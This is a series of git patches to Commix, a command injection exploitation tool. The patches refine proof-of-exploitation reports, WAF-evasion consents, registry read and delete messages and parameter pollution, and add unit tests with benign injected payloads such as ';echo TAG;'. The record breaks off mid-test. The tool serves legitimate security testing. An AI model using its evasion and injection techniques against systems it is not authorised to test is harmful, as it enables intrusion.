Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 11 Nov 2026 17:00:25 +0200 Subject: [PATCH 0986/1023] Fixed several issues regarding the proof of exploitation report and the scope of a user's own answers, affecting the conditions a point was proved under and the consents re-asked for every target --- src/core/controller/proof.py | 7 ++ src/utils/settings.py | 14 ++-- tests/test_proof.py | 139 +++++++++++++++++++++++++++++++++++ tests/test_settings.py | 42 +++++++++++ 4 files changed, 197 insertions(+), 5 deletions(-) create mode 100644 tests/test_proof.py diff --git a/src/core/controller/proof.py b/src/core/controller/proof.py index d0974a1842..7924f22104 100644 --- a/src/core/controller/proof.py +++ b/src/core/controller/proof.py @@ -254,6 +254,13 @@ def prove(filename, url): if settings.TARGET_ARCH: platform += " (" + settings.TARGET_ARCH + ")" fields.append(_field("Back-end", platform, bullet=False)) + # Stated above the findings, where what the run itself is described by belongs: every point below + # was reached under these conditions, so repeating them per parameter would say the same thing as + # many times as there are parameters. Left out where there was nothing in the way, rather than + # written as an empty field. + conditions = _evasion() + if conditions: + fields.append(_field("Conditions", conditions, bullet=False)) fields.append(_field("Verified", time.strftime("%Y-%m-%d %H:%M:%S"), bullet=False)) proven = 0 diff --git a/src/utils/settings.py b/src/utils/settings.py index 55add55550..d944e0a1cf 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "312" +REVISION = "313" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -3053,10 +3053,14 @@ class END_LINE: "USER_APPLIED_TAMPER", "USER_APPLIED_TECHNIQUE", "USER_APPLIED_WEB_ROOT", "USER_APPLIED_INTERPRETER", "USER_APPLIED_TIMESEC", "USER_APPLIED_TMP_PATH", - # Answered once by the user, and not worth asking again for every target. - "ADJUST_TIME_DELAY_CHOICE", "FILE_BASED_NARROWING_CHOICE", "IGNORE_IDENTIFIED_TARGET_OS", - "IGNORE_NOT_FOUND", "NOT_FOUND_PROMPTED", "UNSTABLE_PROMPTED", - "RECOGNISE_OS", "THREADED_TIME_RETRIEVAL_CHOICE", "USE_BIN_SUBDIR_CHOICE", "WAF_EVASION_CONSENT", + # Answered once by the user, and not worth asking again for every target. The three retry consents + # belong here for the reason the WAF/IPS one does: each asks whether to pay for another pass around + # an obstacle, and an answer given once covers every target the same way, since what is being + # answered is whether that pass is worth its cost at all. + "ADJUST_TIME_DELAY_CHOICE", "DASHLESS_RETRY_CHOICE", "FILE_BASED_NARROWING_CHOICE", + "IGNORE_IDENTIFIED_TARGET_OS", "IGNORE_NOT_FOUND", "NOT_FOUND_PROMPTED", "UNSTABLE_PROMPTED", + "RECOGNISE_OS", "REPLACE_VALUE_RETRY_CHOICE", "THREADED_TIME_RETRIEVAL_CHOICE", + "USE_BIN_SUBDIR_CHOICE", "WAF_EVASION_CONSENT", "WHITESPACE_RETRY_CHOICE", # Counted or noted for the run as a whole. "CRAWLED_SKIPPED_URLS_NUM", "CRAWLED_URLS_INJECTED", "CRAWLED_URLS_NUM", "CRAWLING", "CRAWLING_PHASE", "ENUMERATION_DONE", "FILE_ACCESS_DONE", "REGISTRY_ACCESS_DONE", "HANDLER", "HREF_SKIPPED", diff --git a/tests/test_proof.py b/tests/test_proof.py new file mode 100644 index 0000000000..47b32a2b4d --- /dev/null +++ b/tests/test_proof.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import re +import shutil +import tempfile +import unittest + +from tests import _testutils +from src.core.parse import cmdline as menu +from src.utils import settings +from src.core.controller import proof + +class ProofFixture(unittest.TestCase): + """ + One proof per test, run against an executor that answers the way a target which ran the command + would - so the report is the real one rather than a rendering of hand-written fields. + """ + URL = "http://t/a.php?addr=127.0.0.1" + + def setUp(self): + self._dir = tempfile.mkdtemp(prefix="commix-proof-") + self._state = (settings.PROOF_DONE, list(settings.PROOF_EXECUTORS), settings.WAF_ENABLED, + settings.WAF_EVASION_APPLIED, settings.ADAPTIVE_DELAY, settings.TARGET_OS, + settings.TARGET_ARCH, settings.ORIGINAL_PAGE, list(settings.RESPONSE_TIMES), + set(settings.WARNED_HTTP_ERROR_CODES), settings.USER_DEFINED_POST_DATA, + settings.TOTAL_OF_REQUESTS, menu.options.proof, menu.options.tamper, + menu.options.delay, menu.options.url) + self._out = settings.print_data_to_stdout + self.said = [] + settings.print_data_to_stdout = self.said.append + settings.PROOF_DONE = False + settings.PROOF_EXECUTORS = [] + settings.WAF_ENABLED = False + settings.WAF_EVASION_APPLIED = False + settings.ADAPTIVE_DELAY = 0 + settings.TARGET_OS = settings.OS.UNIX + settings.TARGET_ARCH = "" + settings.ORIGINAL_PAGE = "nothing of the answer is in here" + settings.RESPONSE_TIMES = [] + settings.WARNED_HTTP_ERROR_CODES = set() + settings.USER_DEFINED_POST_DATA = "" + menu.options.proof = True + menu.options.tamper = None + menu.options.delay = 0 + menu.options.url = self.URL + + def tearDown(self): + (settings.PROOF_DONE, settings.PROOF_EXECUTORS, settings.WAF_ENABLED, + settings.WAF_EVASION_APPLIED, settings.ADAPTIVE_DELAY, settings.TARGET_OS, + settings.TARGET_ARCH, settings.ORIGINAL_PAGE, settings.RESPONSE_TIMES, + settings.WARNED_HTTP_ERROR_CODES, settings.USER_DEFINED_POST_DATA, + settings.TOTAL_OF_REQUESTS, menu.options.proof, menu.options.tamper, + menu.options.delay, menu.options.url) = self._state + settings.print_data_to_stdout = self._out + shutil.rmtree(self._dir, ignore_errors=True) + + """ + What a target that ran the challenge would send back: the sum, bracketed by the marker the + challenge wrapped it in. + """ + def oracle(self, cmd): + sum_up = re.search(r"echo (\w+)\$\(\((\d+)\+(\d+)\)\)(\w+)$", cmd) + if not sum_up: + return "" + return sum_up.group(1) + str(int(sum_up.group(2)) + int(sum_up.group(3))) + sum_up.group(4) + + def report(self): + proof.register(settings.INJECTION_TECHNIQUE.RESULTS_BASED, "addr", "GET", self.oracle) + proof.prove(os.path.join(self._dir, "commix.log"), self.URL) + return settings.strip_ansi_codes("\n".join(str(_) for _ in self.said)) + +class TheProofStatesWhatItGotThrough(ProofFixture): + """ + Evidence is worth more where the report also says what was in the way. A run through a protection, + behind tamper scripts or spaced out by a delay proves the same point under conditions the next + reader cannot reconstruct from the challenge alone. + """ + def test_a_run_with_nothing_in_the_way_states_no_conditions(self): + self.assertNotIn("Conditions:", self.report()) + + def test_a_protection_in_front_of_the_application_is_stated(self): + settings.WAF_ENABLED = True + self.assertIn("protection detected in front of the application", self.report()) + + def test_evasion_chosen_by_the_run_itself_is_stated(self): + settings.WAF_EVASION_APPLIED = True + self.assertIn("evasion applied automatically", self.report()) + + def test_tamper_scripts_in_effect_are_named(self): + menu.options.tamper = "space2ifs,rev" + self.assertIn("tamper scripts in effect: space2ifs,rev", self.report()) + + def test_the_statuses_a_protection_returned_are_stated(self): + settings.WAF_ENABLED = True + settings.WARNED_HTTP_ERROR_CODES = set(list(settings.WAF_BLOCK_HTTP_CODES)[:1]) + said = self.report() + self.assertIn("statuses a protection returns, seen during the run", said) + + def test_a_delay_the_target_asked_for_is_stated(self): + settings.ADAPTIVE_DELAY = 1.25 + self.assertIn("requests were spaced out by 1.2s after the target asked for it", self.report()) + + def test_a_delay_the_user_asked_for_is_stated_where_the_target_asked_for_none(self): + menu.options.delay = 2 + self.assertIn("requests were delayed by 2.0s each", self.report()) + + def test_the_conditions_sit_above_the_findings_rather_than_inside_each_one(self): + settings.WAF_ENABLED = True + said = self.report() + self.assertLess(said.index("Conditions:"), said.index("Technique:")) + self.assertEqual(1, said.count("protection detected in front of the application")) + + def test_the_written_file_carries_them_as_the_report_does(self): + settings.WAF_ENABLED = True + self.report() + with open(os.path.join(self._dir, "proof.txt")) as written: + self.assertIn("protection detected in front of the application", written.read()) + + def test_the_report_is_assembled_from_the_evasion_lines_themselves(self): + self.assertIn("_evasion", proof.prove.__code__.co_names) + +if __name__ == "__main__": + unittest.main() + +# eof diff --git a/tests/test_settings.py b/tests/test_settings.py index 96b62aca99..8ab1f68903 100644 --- a/tests/test_settings.py +++ b/tests/test_settings.py @@ -143,5 +143,47 @@ def test_the_shell_list_carries_only_a_comment_the_shell_reads(self): self.assertIn("//", _eval.grammar("php").SUFFIXES_LVL3) self.assertIn("//", _eval.grammar("javascript").SUFFIXES_LVL3) +class ConsentCarriesAcrossTargets(unittest.TestCase): + """ + Each retry consent asks whether another pass around an obstacle is worth what it costs, which is + the question the WAF/IPS consent asks about a filter it identified. Asked once and held for the + run, as all four say they are - a list, a crawl or a page of forms otherwise puts the same three + questions to the user once per target. + """ + CONSENTS = ("WHITESPACE_RETRY_CHOICE", "REPLACE_VALUE_RETRY_CHOICE", "DASHLESS_RETRY_CHOICE") + + def setUp(self): + self._baseline = dict(settings._TARGET_STATE_BASELINE) + self._answers = {name: getattr(settings, name) for name in self.CONSENTS} + self._arch = settings.TARGET_ARCH + settings._TARGET_STATE_BASELINE.clear() + for name in self.CONSENTS: + setattr(settings, name, None) + + def tearDown(self): + settings._TARGET_STATE_BASELINE.clear() + settings._TARGET_STATE_BASELINE.update(self._baseline) + for name, answer in self._answers.items(): + setattr(settings, name, answer) + settings.TARGET_ARCH = self._arch + + def test_each_consent_is_listed_beside_the_one_it_is_modelled_on(self): + self.assertIn("WAF_EVASION_CONSENT", settings.RUN_WIDE_STATE) + for name in self.CONSENTS: + self.assertIn(name, settings.RUN_WIDE_STATE) + + def test_an_answer_given_for_one_target_is_not_asked_again_for_the_next(self): + # The first call records the baseline, every call after it is the next target starting. + settings.reset_target_state() + settings.TARGET_ARCH = "x86_64" + for name in self.CONSENTS: + setattr(settings, name, False) + settings.reset_target_state() + for name in self.CONSENTS: + self.assertIs(False, getattr(settings, name), name + " was asked again") + # What the target itself answered does go back, or the next one is tested as though it were this + # one - which is what the reset exists for. + self.assertEqual("", settings.TARGET_ARCH) + if __name__ == "__main__": unittest.main() From 710d3a3e6f89854222beed3935be2869258ac4a3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 11 Nov 2026 17:00:59 +0200 Subject: [PATCH 0987/1023] Fixed several issues regarding answers reported as inconclusive where the target had said what happened, affecting registry reads, registry deletions and `--hpp` --- src/core/controller/checks.py | 25 +++++++- src/utils/settings.py | 6 +- tests/test_checks.py | 113 ++++++++++++++++++++++++++++++++++ 3 files changed, 141 insertions(+), 3 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index d75dfa4715..671e5e4ac9 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -381,13 +381,25 @@ def polluted_parameter(target, payload): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return target first_wins = any(_ in banner for _ in settings.HPP_FIRST_WINS) + last_wins = any(_ in banner for _ in settings.HPP_LAST_WINS) name = named.group(1) original = settings.TESTABLE_VALUE if settings.TESTABLE_VALUE.strip() else "" if not settings.HPP_POSITION_SAID: settings.HPP_POSITION_SAID = True info_msg = "Sending '" + name + "' twice, with the payload " info_msg += "first" if first_wins else "last" - info_msg += " - which is the one this target reads." + # Which occurrence is read was established only where the banner named a platform that is known + # to choose one. A banner that named nothing, or nothing recognised, leaves the position where + # the most commonly tested platforms read it - which is a guess, and is said as one rather than + # as something the target was asked. + if first_wins or last_wins: + info_msg += " - which is the one '" + settings.SERVER_BANNER + "' reads." + elif settings.SERVER_BANNER: + info_msg += ", which is where the platforms most often tested read it - '" + settings.SERVER_BANNER + info_msg += "' names nothing that says which of the two it chooses." + else: + info_msg += ", which is where the platforms most often tested read it - this target named " + info_msg += "nothing to decide it by." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if first_wins: polluted = payload + "&" + name + "=" + original @@ -6476,6 +6488,9 @@ def registry_read_status(shell, key, value, filename, newline_first=False): if settings.VERBOSITY_LEVEL == 0 and newline_first: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) denied = shell and any(phrase.lower() in str(shell).lower() for phrase in settings.REG_ACCESS_DENIED) + # 'reg' names a key or value it could not find, so where it said that, which of the two reasons + # applies was established and is not left to the reader to guess between. + missing = shell and any(phrase.lower() in str(shell).lower() for phrase in settings.REG_VALUE_NOT_FOUND) match = re.search(r"^\s*" + re.escape(value) + r"\s+(REG_\S+)\s+(.*?)\s*$", str(shell), re.MULTILINE) if shell else None if match: reg_type, data = match.group(1), match.group(2) @@ -6486,6 +6501,10 @@ def registry_read_status(shell, key, value, filename, newline_first=False): elif denied: warn_msg = "It seems you do not have permission to read the registry key '" + key + "'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif missing: + # Which of the two is absent is not said, because 'reg' does not say it either. + warn_msg = "The target has no registry key '" + key + "', or no value '" + value + "' under it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: warn_msg = "Retrieved no data for the registry value '" + value + "' of the key '" + key + "'. " warn_msg += "This could mean the key/value does not exist, or you do not have permission to read it." @@ -6576,6 +6595,10 @@ def registry_delete_status(shell, key, value, newline_first=False): elif shell and "operation completed successfully" in str(shell).lower(): info_msg = "The registry " + target + " has been successfully deleted." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + elif shell and any(phrase.lower() in str(shell).lower() for phrase in settings.REG_VALUE_NOT_FOUND): + # Nothing was deleted because there was nothing there, which the target said rather than left open. + warn_msg = "The target has no registry " + target + " to delete." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: warn_msg = "The registry " + target + " does not appear to have been deleted. " warn_msg += "This could mean it does not exist, or you do not have permission to delete it." diff --git a/src/utils/settings.py b/src/utils/settings.py index d944e0a1cf..9209a42396 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "313" +REVISION = "314" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1261,7 +1261,9 @@ class OS(object): WIN_REG_ADD = "reg add " WIN_REG_DEL = "reg delete " REG_ACCESS_DENIED = ["Access is denied", "ERROR: Access is denied", "requires elevation"] -REG_VALUE_NOT_FOUND = "ERROR: The system was unable to find the specified registry key or value." +# Listed the way the denied phrases above are, and without the "ERROR: " prefix or the full stop +# 'reg' writes around it, so the phrase is found in an answer a shell wrapped or truncated. +REG_VALUE_NOT_FOUND = ["The system was unable to find the specified registry key or value"] REG_VALUE_TYPES = ("REG_SZ", "REG_EXPAND_SZ", "REG_DWORD", "REG_QWORD", "REG_BINARY", "REG_MULTI_SZ", "REG_NONE") # Accepts 'YES','YE','Y','yes','ye','y' diff --git a/tests/test_checks.py b/tests/test_checks.py index e00386b95c..7e0d8414ec 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -739,6 +739,119 @@ def boom(cmd): settings.WEB_ROOT_PROBE = boom self.assertIsNone(checks.web_root_from_target_cwd("http://t/a/b.php")) +class RegistryAnswersAreReadForWhatTheySay(unittest.TestCase): + """ + 'reg' answers a missing key or value by name, and a refused one by name. An answer that said which + of the two it was is not reported as either-or - the hedge is for an answer that said neither. + """ + KEY = "HKLM\\SOFTWARE\\Nope" + VALUE = "Version" + NOT_FOUND = "ERROR: The system was unable to find the specified registry key or value." + + def setUp(self): + self._out = settings.print_data_to_stdout + self.said = [] + settings.print_data_to_stdout = self.said.append + self._verbosity = settings.VERBOSITY_LEVEL + + def tearDown(self): + settings.print_data_to_stdout = self._out + settings.VERBOSITY_LEVEL = self._verbosity + + def read(self, shell): + checks.registry_read_status(shell, self.KEY, self.VALUE, "commix.log") + return settings.strip_ansi_codes("\n".join(str(_) for _ in self.said)) + + def delete(self, shell, value=""): + checks.registry_delete_status(shell, self.KEY, value) + return settings.strip_ansi_codes("\n".join(str(_) for _ in self.said)) + + def test_a_read_the_target_said_was_not_there_is_stated_as_that(self): + said = self.read(self.NOT_FOUND) + self.assertIn("The target has no registry key '" + self.KEY + "'", said) + self.assertNotIn("you do not have permission to read it", said) + + def test_a_read_the_target_refused_is_still_stated_as_that(self): + self.assertIn("do not have permission to read", self.read("ERROR: Access is denied.")) + + def test_an_answer_that_said_neither_keeps_the_hedge(self): + self.assertIn("This could mean the key/value does not exist", self.read("")) + + def test_the_phrase_is_found_without_the_prefix_the_shell_may_have_dropped(self): + said = self.read("the system was unable to find the specified registry key or value") + self.assertIn("The target has no registry key", said) + + def test_a_deletion_of_something_that_was_not_there_is_stated_as_that(self): + said = self.delete(self.NOT_FOUND, value=self.VALUE) + self.assertIn("to delete.", said) + self.assertNotIn("does not appear to have been deleted", said) + +class ParameterPollutionStatesOnlyWhatTheBannerSaid(unittest.TestCase): + """ + Sending the parameter twice only evades anything where the application reads one occurrence and + the filter another, and which one that is belongs to the platform. Where the banner named one that + is known to choose, the position is a fact about the target; where it named nothing recognised, + the position is where the platforms most often tested read it, and is said as the guess it is. + """ + TARGET = "http://t/a.php?addr=" + PAYLOAD = ";echo TAG;" + + def setUp(self): + self._state = (settings.SERVER_BANNER, settings.HPP_POSITION_SAID, settings.TESTABLE_VALUE, + settings.IS_JSON, settings.IS_XML, menu.options.hpp) + self._out = settings.print_data_to_stdout + self.said = [] + settings.print_data_to_stdout = self.said.append + settings.HPP_POSITION_SAID = False + settings.TESTABLE_VALUE = "127.0.0.1" + settings.IS_JSON = False + settings.IS_XML = False + menu.options.hpp = True + + def tearDown(self): + (settings.SERVER_BANNER, settings.HPP_POSITION_SAID, settings.TESTABLE_VALUE, + settings.IS_JSON, settings.IS_XML, menu.options.hpp) = self._state + settings.print_data_to_stdout = self._out + + def pollute(self, banner): + settings.SERVER_BANNER = banner + polluted = checks.polluted_parameter(self.TARGET + self.PAYLOAD, self.PAYLOAD) + return polluted, settings.strip_ansi_codes("\n".join(str(_) for _ in self.said)) + + def test_a_platform_known_to_read_the_last_one_is_named_as_the_reason(self): + polluted, said = self.pollute("Apache/2.4.7 (Ubuntu) PHP/5.5.9") + self.assertTrue(polluted.endswith("addr=" + self.PAYLOAD)) + self.assertIn("with the payload last - which is the one 'Apache/2.4.7 (Ubuntu) PHP/5.5.9' reads.", said) + + def test_a_platform_known_to_read_the_first_one_is_named_as_the_reason(self): + polluted, said = self.pollute("Jetty(9.4.z-SNAPSHOT)") + self.assertTrue(polluted.endswith("addr=127.0.0.1")) + self.assertIn("with the payload first - which is the one 'Jetty(9.4.z-SNAPSHOT)' reads.", said) + + def test_the_platform_decides_over_the_server_carrying_it(self): + # 'Apache Tomcat' names both lists; the one that is a platform rather than a web server is the + # one that reads the parameter, so the payload goes where Java reads it. + polluted, said = self.pollute("Apache Tomcat/9.0.50") + self.assertTrue(polluted.endswith("addr=127.0.0.1")) + self.assertIn("with the payload first", said) + + def test_a_banner_naming_nothing_recognised_does_not_claim_the_target_reads_it(self): + polluted, said = self.pollute("lighttpd/1.4.55") + self.assertTrue(polluted.endswith("addr=" + self.PAYLOAD)) + self.assertNotIn("which is the one", said) + self.assertIn("names nothing that says which of the two it chooses", said) + + def test_no_banner_at_all_is_said_to_have_decided_nothing(self): + polluted, said = self.pollute("") + self.assertTrue(polluted.endswith("addr=" + self.PAYLOAD)) + self.assertNotIn("which is the one", said) + self.assertIn("this target named nothing to decide it by", said) + + def test_a_platform_that_joins_the_two_is_told_about_instead(self): + polluted, said = self.pollute("Microsoft-IIS/8.5") + self.assertEqual(self.TARGET + self.PAYLOAD, polluted) + self.assertIn("cannot help here", said) + if __name__ == "__main__": unittest.main() From 7ea20929e444f0c24170089c4e0cbd9f331d915e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 11 Nov 2026 17:01:58 +0200 Subject: [PATCH 0988/1023] Fixed several issues regarding parameter pollution not reaching every request, affecting `--hpp` alongside `--smart` and against a GraphQL body --- src/core/controller/checks.py | 29 ++------- src/core/controller/controller.py | 11 +++- src/core/eval/payloads/boolean_based.py | 6 -- src/core/main.py | 3 +- src/utils/settings.py | 16 +---- tests/test_checks.py | 78 ++++++++++++++++++++++++- 6 files changed, 93 insertions(+), 50 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 671e5e4ac9..0b7e96ecba 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -359,7 +359,7 @@ def process_non_custom(): def polluted_parameter(target, payload): if not menu.options.hpp or not payload: return target - if settings.IS_JSON or settings.IS_XML: + if settings.IS_JSON or settings.IS_XML or settings.IS_GRAPHQL: if not settings.HPP_POSITION_SAID: settings.HPP_POSITION_SAID = True warn_msg = "Parameter pollution applies to ordinary GET and POST parameters, not to a structured body." @@ -753,10 +753,10 @@ def grammar_separators(): being tested, chosen with '--eval', and by which technique, chosen with '--technique'. A technique runs when its letter was asked for and it reaches the sink in hand, so the two compose. -Out-of-band is not one of the techniques '--technique' names - 'o' is not even in -settings.AVAILABLE_TECHNIQUES, so a user can never ask for it there. Whether it runs is '--oob' -alone to say, independent of whatever '--technique' was given: '--oob --technique=r' still tries -out-of-band, rather than reading the 'r' as leaving it out. +Out-of-band is not one of the techniques '--technique' names - its letter is not in +settings.AVAILABLE_TECHNIQUES, so a user can never ask for it there, and naming a technique +alongside '--oob' is refused rather than merged. The switch selects the out-of-band technique on +its own, which leaves it the only one this run is testing. """ def technique_selected(tech_letter, eval_sink=False): if tech_letter == settings.OOB_TECHNIQUE_LETTER: @@ -2716,25 +2716,6 @@ def set_target_arch(identified): from src.utils import session_handler session_handler.import_target_arch(settings.TARGET_NETLOC, identified) -""" -The word size of the target's hardware platform - 64, 32, or None where it has not been established -or is a name that says neither. Read from what the target answered, never guessed from the host. -""" -def target_word_size(): - name = (settings.TARGET_ARCH or "").strip().lower() - if not name: - return None - if name in settings.ARCH_64: - return 64 - if name in settings.ARCH_32: - return 32 - # A name that was never in either list still says which it is, where it says so plainly. - if "64" in name: - return 64 - if re.search(r"\b(i[3-6]86|x86|arm(v[0-7]l?)?)\b", name): - return 32 - return None - """ Decision if the user-defined operating system name, is different than the one identified by heuristics. diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index a0e384fe6c..324f15417c 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -154,6 +154,10 @@ def check_for_stored_sessions(url, check_parameter, http_request_method): """ Heuristic request(s) + +Carried the way the exploitation requests carry it, pollution included: under '--smart' a negative +answer here is what leaves the parameter untested, so deciding that on an unpolluted request would +skip the parameter over an answer '--hpp' was given to change. """ def heuristic_request(url, http_request_method, check_parameter, payload, whitespace, place): data = None @@ -187,7 +191,7 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites body_payload = checks.xml_encode_payload(checks.strip_xml_forbidden(payload)) else: body_payload = checks.encode_payload(payload) - data = checks.restore_xml_layout(checks.process_injectable_value(body_payload, menu.options.data)).encode(settings.DEFAULT_CODEC) + data = checks.restore_xml_layout(checks.process_injectable_value(body_payload, menu.options.data, pollute=True)).encode(settings.DEFAULT_CODEC) else: if settings.USER_DEFINED_POST_DATA: settings.USER_DEFINED_POST_DATA = checks.remove_tags(settings.USER_DEFINED_POST_DATA) @@ -195,7 +199,7 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites if settings.INJECT_TAG in url: # Encode query string, preserving delimiters and configured parameter delimiter encoded_payload = checks.encode_payload(payload) - tmp_url = checks.process_injectable_value(encoded_payload, url) + tmp_url = checks.process_injectable_value(encoded_payload, url, pollute=True) else: tmp_url = checks.remove_tags(tmp_url) url = checks.remove_tags(url) @@ -718,7 +722,8 @@ def exploit(): if result is not False: settings.IDENTIFIED_COMMAND_INJECTION = True return result - run_technique(injection_type, technique, "OOB_STATE", "SKIP_OOB_INJECTIONS", "o", exploit) + run_technique(injection_type, technique, "OOB_STATE", "SKIP_OOB_INJECTIONS", + settings.OOB_TECHNIQUE_LETTER, exploit) """ Check parameter in HTTP header. diff --git a/src/core/eval/payloads/boolean_based.py b/src/core/eval/payloads/boolean_based.py index 6efaeb6035..1a780e9922 100644 --- a/src/core/eval/payloads/boolean_based.py +++ b/src/core/eval/payloads/boolean_based.py @@ -25,12 +25,6 @@ def _output(cmd): def _end(separator): return settings.EVAL_GRAMMAR.TERMINATOR if separator else "" -# Stated in the shell's spelling by every caller, so it is rewritten into the language's here. -def _as_expression(condition): - for shell_operator, operator in settings.EVAL_GRAMMAR.COMPARISON.items(): - condition = condition.replace(settings.SINGLE_WHITESPACE + shell_operator + settings.SINGLE_WHITESPACE, operator) - return condition - """ A question whose answer is known, for telling a target that answers at all from one that does not. """ diff --git a/src/core/main.py b/src/core/main.py index 98f884057a..818605ab04 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -720,8 +720,9 @@ def main(filename, url, http_request_method): which is the one that asks for all of them. """ + # Named by the constant the technique's letter lives in, so the letter is written once. if menu.options.oob: - menu.options.tech = 'o' + menu.options.tech = settings.OOB_TECHNIQUE_LETTER # Check the file-destination if menu.options.file_write is not None and not menu.options.file_dest: diff --git a/src/utils/settings.py b/src/utils/settings.py index 9209a42396..60a64f044d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "314" +REVISION = "315" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -773,9 +773,6 @@ class OS(object): STDIN_PARSING = False -# Slow target response. -SLOW_TARGET_RESPONSE = 3 - # How far the target's own answers may spread before a delay read against them is unreliable. # What makes a time-related answer hard to read is the times moving about, not how long they are: # a target that always takes the same three seconds tells a delay apart as cleanly as a fast one, @@ -1211,12 +1208,6 @@ class OS(object): # What the target answered the hardware platform question with, kept as it came back. TARGET_ARCH = "" -""" -The word sizes a hardware platform name stands for, whichever way the target spells it. -""" -ARCH_64 = ("x86_64", "amd64", "x64", "aarch64", "arm64", "ppc64", "ppc64le", "s390x", "riscv64", "ia64", "sparc64", "mips64") -ARCH_32 = ("i386", "i486", "i586", "i686", "x86", "armv6l", "armv7l", "arm", "ppc", "s390", "mips", "sparc") - # File System access options # Read file FILE_READ = "cat " @@ -2455,9 +2446,6 @@ class END_LINE: # How much of git's own complaint is repeated when an update fails. MAX_UPDATE_REASON_LENGTH = 200 -# Longer than this and a retrieved value is shown fenced, rather than running off the label's line. -MAX_INLINE_VALUE_LENGTH = 200 - # How many answers the concurrency probe times on each side, and the total below which it cannot say. CONCURRENCY_PROBE_REQUESTS = 16 CONCURRENCY_PROBE_FLOOR = 0.05 @@ -2958,7 +2946,7 @@ class END_LINE: CUSTOM_HEADER_PLACE = "(custom) HEADER" HTTP_HEADER_PLACES = [ USER_AGENT, REFERER, HOST, CUSTOM_HEADER_PLACE ] -# The names a standard header answers to, so '-p'/'--skip-parameter' can name one as it is written. +# The names a standard header answers to, so '-p'/'--skip' can name one as it is written. HTTP_HEADER_ALIASES = { USER_AGENT : ( "ua", "useragent", "user-agent" ), REFERER : ( "ref", "referer", "referrer" ), diff --git a/tests/test_checks.py b/tests/test_checks.py index 7e0d8414ec..1ade3cdc4d 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -13,6 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ +import io import unittest from tests._testutils import stage @@ -798,7 +799,7 @@ class ParameterPollutionStatesOnlyWhatTheBannerSaid(unittest.TestCase): def setUp(self): self._state = (settings.SERVER_BANNER, settings.HPP_POSITION_SAID, settings.TESTABLE_VALUE, - settings.IS_JSON, settings.IS_XML, menu.options.hpp) + settings.IS_JSON, settings.IS_XML, settings.IS_GRAPHQL, menu.options.hpp) self._out = settings.print_data_to_stdout self.said = [] settings.print_data_to_stdout = self.said.append @@ -806,11 +807,12 @@ def setUp(self): settings.TESTABLE_VALUE = "127.0.0.1" settings.IS_JSON = False settings.IS_XML = False + settings.IS_GRAPHQL = False menu.options.hpp = True def tearDown(self): (settings.SERVER_BANNER, settings.HPP_POSITION_SAID, settings.TESTABLE_VALUE, - settings.IS_JSON, settings.IS_XML, menu.options.hpp) = self._state + settings.IS_JSON, settings.IS_XML, settings.IS_GRAPHQL, menu.options.hpp) = self._state settings.print_data_to_stdout = self._out def pollute(self, banner): @@ -852,6 +854,15 @@ def test_a_platform_that_joins_the_two_is_told_about_instead(self): self.assertEqual(self.TARGET + self.PAYLOAD, polluted) self.assertIn("cannot help here", said) + def test_a_document_body_is_told_about_the_way_the_other_structured_ones_are(self): + # A GraphQL document carries no second occurrence any more than JSON or XML does, and saying + # so is what tells the switch apart from one that was applied and changed nothing. + settings.IS_GRAPHQL = True + polluted, said = self.pollute("Apache/2.4.7 (Ubuntu) PHP/5.5.9") + self.assertEqual(self.TARGET + self.PAYLOAD, polluted) + self.assertIn("not to a structured body", said) + self.assertNotIn("Sending 'addr' twice", said) + if __name__ == "__main__": unittest.main() @@ -882,3 +893,66 @@ def test_a_value_of_its_own_still_carries_the_payload_behind_it(self): carrier = "addr=127.0.0.1" + settings.INJECT_TAG spliced = checks.process_injectable_value("127.0.0.1;echo Hello", carrier) self.assertEqual("addr=127.0.0.1;echo Hello", spliced) + +class TheOutOfBandTechniqueIsAskedForOnItsOwn(unittest.TestCase): + """ + Out-of-band is reached by '--oob' rather than by a letter of '--technique', and the letter it is + written down as lives in one place, so the 